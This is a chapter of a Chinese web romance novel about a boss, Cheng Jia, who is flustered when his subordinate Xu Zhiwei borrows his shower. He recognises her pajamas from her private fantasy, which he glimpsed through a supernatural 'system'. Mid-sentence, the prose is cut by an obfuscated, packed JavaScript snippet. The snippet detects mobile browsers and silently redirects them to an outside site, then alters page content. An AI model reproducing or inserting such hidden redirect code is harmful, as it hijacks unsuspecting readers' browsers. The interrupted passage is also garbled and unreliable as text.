一个极度注重边界、在职场永远游刃有余的男人,在此刻,因为一个女性同事深夜请求使用私人浴室的设想,慌了? 这个发现,像一束光骤然照亮了某些暗处。 要不,再进一步试试? 可一向谨慎的许知微,哪怕有了想法,也会进行风险评估。 ——深夜,作为独身女性,进入一个男性的私人领域。 ——哪怕对方是程迦,是自控力极强的上司,风险依然存在。 程迦的为人,她有足够样本观察:严苛,但守序;强势,但承担责任;从不越界,尤其在这种显而易见的敏感地带。 她抬眼上下打量起来,他的慌,总不能是演出来吧? 也对,如果他真有歹意,绝不会用先关门再开门这种复杂又幼稚的方式。 ——风险可控,利益嘛。 看到了他方才试图隐藏的失措,看到了那层完美冷静外壳下的细微裂缝,看到了他因为她的越界请求而产生的情绪波动。 这对于她的系统任务而言,是比任何直播间的定制打赏都更珍贵的素材。 总结完脑海里的所有分析,她极轻地笑了一声,带着一种重新拿回叙事主动权的放松与得意。 “程总,”她终于开口,声音恢复了平日的温和稳定,甚至带上了一丝恰到好处的的感激,“你真是好人。” 她清晰地看到,他原本就紧绷的背影,因为她这句话,几不可察地僵了一瞬。 然后,她故意放缓了语调,用一种为双方都铺设好台阶的方式,继续说道: “那我先回去拿洗澡的东西。” 她停了一下,目光在他微微泛红的耳廓上停留了半秒,语气诚挚: “今天真的——太谢谢你了。” 这句话落下的瞬间,她敏锐地捕捉到——程迦整个人,像一根被拉到极致后骤然松开的弦,肩膀几不可察地沉了下去。 那是一种从过度防御状态中解脱出来的、细微的松懈。 ——很好。 ——节奏回来了。 于是她转身走向门口,手握上门把。 在拉开门的最后一刹,她回过头,看向他依旧侧对着她的身影,笑容干净自然,吐字清晰: “我一会儿就过来。” 门轻轻合拢,将她与他暂时隔开。 许知微站在自己家门口,心跳平稳,思绪清晰。 ——好了,表面功夫做完了。 ——接下来,是挑选战服的时间。 只是—— 当她翻箱倒箱找出所有睡衣,摊在面前时,一股强烈的性缩力扑面而来。 ——这也太让人清心寡欲了吧! 15. 退缩 程迦发现,时间第一次变得这么难熬。 门“咔哒”一声合拢,将她那句“我一会儿就过来”关在了门外。 走廊瞬间沉入一种被抽干的寂静,连空调送风的微响都显得突兀。 分明只是简单的几句交代,却像一颗被投入死水潭的石子,涟漪反复。 他走回厨房,锅里烧开的水还在兀自翻滚,白雾弥漫。 意大利面的包装袋被随意扔在台面,封口只撕了一半。 他怔怔地看着翻滚的水泡,过了好几秒才想起原本的目的。 然后机械地将面条下入沸水。 结果,彻底的走神开始了。 ——浴室。 上午保洁来过,但角落呢? 淋浴间的玻璃水垢清干净了吗? 地漏会不会有之前掉落的头发? 那条她可能会踩到的灰色防滑垫,质感会不会太粗硬,不够舒服? 他甚至能想象出她赤足踩上去时微凉的触感。这个联想让他喉头发紧,下意识朝浴室方向瞥去,仿佛能穿透墙壁进行视觉检查。 ——那间房。 直播用的房间,方才把许知微拒在门外,就是为了去关那个房间的门。但他记得自己太匆忙了,锁舌似乎没有完全卡入? 万一——他猛地转身,立刻抬脚去确认,又在最后一步硬生生刹住。 不行,万一她突然摁门铃呢? 他得第一时间给她开门。 ——气味。 他无声地深吸了一口气。 洗衣液的淡香,木制家具的气息,还有他自己身上未散的、运动后淡淡的汗味,以及方才放纵的味道。 这味道让他突然焦虑起来。 她会不会闻到? 觉得不洁? 他是不是该立刻去冲个澡,或者至少换件衣服? 这些不安的念头让他浑身不自在。 就在这纷乱的思绪像沸水般咕嘟冒泡时—— “叮咚。” 门铃声清脆地响起。 程迦的身体瞬间绷直,像被无形的线陡然拉紧,随即又为自己的过度反应感到难堪。 他强迫自己放缓呼吸,走到玄关,手握上门把时,却下意识地垂下了眼睑,避开了即将与门外之人对视的可能。 门开了。 “我拿好东西了。”她的声音从下方传来,轻快,自然。 他没敢抬眼,只是侧身让出通道,声音竭力维持平稳:“嗯,进来吧。” 她动作利落,脱鞋,进入,脚步轻捷地径直走向浴室方向,没有多余的张望——就像她一直对自己不感兴趣那般,她对他的公寓,也毫无兴致。 直到浴室门“咔哒”一声关上、落锁,程迦才迟钝地意识到: 可她还是进来了。 不再是隔着网络或办公室的遥远存在,而是真真切切地,在他的私人领域里,仅隔着一道门。 淅沥的水声很快响起。 先是阀门打开的短暂空响,接着是稳定而持续的水流击打地面的声音。 那声音在寂静的房间里被无限放大,每一个水滴都像是砸在他紧绷的神经上。 他逃也似的回到厨房。 锅里的水还在沸腾,蒸汽氤氲。 意大利面早已煮过了最佳时间,软塌塌地浮在水面,他却浑然不觉。 他的全部感官,都被那持续的水声劫持。 ——她到底怎么想?竟然找他借浴室? ——代表什么?代表他对她来说,很安全? ——浴室的沐浴露味道会不会太冲了?她会不会不喜欢? ——空调温度够吗?是不是应该开个暖气? ——镜子上会不会有难以察觉的水垢? 带着无数的杂念,他机械地关掉炉火,拿起漏勺时,才看到面条已经失去了所有筋骨,烂熟地纠缠在一起。 他皱了皱眉,却没有丝毫重煮的欲望。 算了。 食欲早已不知去向。 水声停了,公寓又陷入一段令人心悬的寂静。 接着,吹风机的低鸣响起,断断续续,时而高时而低。那声音像一只无形的手,攥住了他全部的注意力。 他站在原地,近乎屏息地聆听着这个过程,无意识地计算着时间,直到那声音也彻底归于沉寂。 浴室门再次打开。 “程总,”她的声音带着热水浸润后的温润松弛,“谢谢你,真的帮大忙了。” 这一次,他终于转过身。 也终于,鼓足勇气,让视线完整地落在她身上。 她只是穿着一套再普通不过的居家服——柔软的浅粉色棉质布料,上衣胸口印着一只憨态可掬、甚至有点傻气的卡通兔子。 头发吹得半干,柔顺地披在肩头,发梢还蕴着湿润的光泽。 整个人看起来温暖又温馨,与职场中那个锋利冷静的许知微判若两人。 也正是这副毫无攻击性的日常模样,猝然劈进程迦的脑海。 他的瞳孔在那一瞬间剧烈收缩,血液仿佛瞬间冲上头顶,又立刻冻结。 他认出来了。 这颜色、这质地、甚至那卡通兔子略显傻气的神态,与他系统中那段被反复神游,直至上限达到而被锁定的核心幻想记录,完全重合。 那是“微微不微”202601232245幻想。 在那个由她主导的幻想片段里,褪去所有社会身份与伪装的许知微,穿着的就是这套柔软且亲切的粉色兔子家居服。 那是她意识深处最松弛的模样,也是他透过系统窥见后,最为沉迷的渴望。 他无数次渴望看到的,那个她幻想中的她——那个只在他作为“走leetcode”才被允许带入私密维度里,才会展露的令人心悸的另一面。 而现在。 这个他隔着系统屏幕反复观摩、暗自珍藏的模样,竟然活生生地站在了他现实的客厅里,真实地向他道谢。 以一种近乎嘲讽的精准,将那份他最私密的、最渎神的、最僭越的渴望,直接投射到了程迦这个身份的生活里。 这种视觉冲击,反而成了让他误以为他的单相思得到了双向反馈的验证。 他窥见了她的欲望,而此刻,她带着欲望载物,站在他面前,对他一无所知地笑着。 还笑得那么动人。 他,可以僭越么? 当然不行! 他此刻是程迦,又不是“走leetcode”! 他想被她当成变态么? “……没事。”他开口,声音干涩得几乎劈裂,喉结艰难地上下滚动,试图压下那瞬间翻涌上来的慌乱,以及更深层、更不该在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127084|196129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此刻复苏的灼热悸动。 他几乎是狼狈地仓促移开视线,不敢再多看她一秒。 仿佛再多停留一秒,他眼中无法控制的震荡、混乱,以及那被瞬间勾连起的、属于无数次神游深处的、滚烫而私密的记忆回响,就会无处遁形。 厨房里,煮过头的意大利面开始散发出淡淡的、近乎糜烂的淀粉气味,像某种现实的、却已彻底失序的注脚。 * 周一的早晨,像一台精准重启的服务器,带着不容置疑的秩序感。 程迦刚结束一场跨洋视频晨会,内线电话便适时响起,秘书的声音一如既往地专业高效。 “程总,下下周旧金山的国际展行程草案已出。去程是周二中午的直飞,回程周日。酒店仍安排在会场附近,步行可达。” 电话那头传来轻微的纸张或屏幕滑动声,“航班座位按惯例处理了,您在商务舱1A,许总在1B,方便飞行期间沟通项目细节。” 1B。 那他俩,不是得挨着坐十几个小时? 程迦原本快速浏览下一封邮件的目光,却像被无形的钩子猛地拽住,钉在了半空。 十几个小时。 密闭的金属舱体,被恒定低鸣和黯淡灯光包裹的狭长时空。 人在那里,防御会随着体力和耐心一同流失,睡意昏沉时意识会模糊边界,清醒时又会被迫感知到身旁人的一切——呼吸的频率,翻动纸张的轻响。 他几乎是不受控制地,在脑海成形了一个画面:她坐在触手可及的右侧,或许戴着降噪耳机试图隔绝世界,或许在长途飞行的倦怠中,会褪去白日里那层冷静的壳,露出某种他不该看见、却已在幻想系统中窥见过的松弛。 而他的记忆,却在此刻,极其不合时宜地、残忍地将两幅画面重叠—— 一副是现实中她作为下属的、公事公办的可能状态; 另一副,却是那套粉色兔子家居服所锚定的、属于“微微不微”最私密幻想里的、毫无防备的许知微。 她对此毫不知情。而他,却要带着这份全知的又见不得光的秘密,与她肩并肩,被困在万米高空长达十几个小时。 还怎么工作协同? 这简直是一场对他岌岌可危的自制力,进行的极限压力测试。 程迦的指尖在光滑的桌面上极轻地蜷缩了一下。 “把她的座位调开。”他说。 语气平静无波,没有解释,仿佛只是在纠正一个无关紧要的行程疏漏。 电话那端,秘书明显停顿了半拍。这个指令违背了所有高效便捷的常规操作,尤其对象是这次项目的核心成员许知微。 “……好的,程总。”她迅速接上,职业本能压下了疑惑。 通话结束。 办公室里只剩下空调系统低沉的运转声,窗外的晨光清澈冷冽,映在他没什么表情的脸上。 过了一会儿,行程确认邮件已经刷新,许知微的座位号被悄无声息地替换成了一个遥远的数字。 程迦盯着那行被修改过的信息,看了好几秒。一种极其细微的的空落感,混在如释重负的松懈之后,悄然蔓上心头。 他强行移开视线,重新聚焦于满屏的待办事项。 他害怕,害怕他的理智控制不住他的欲望,就再也无法回到那个可以坦然比邻而坐的、简单的从前了。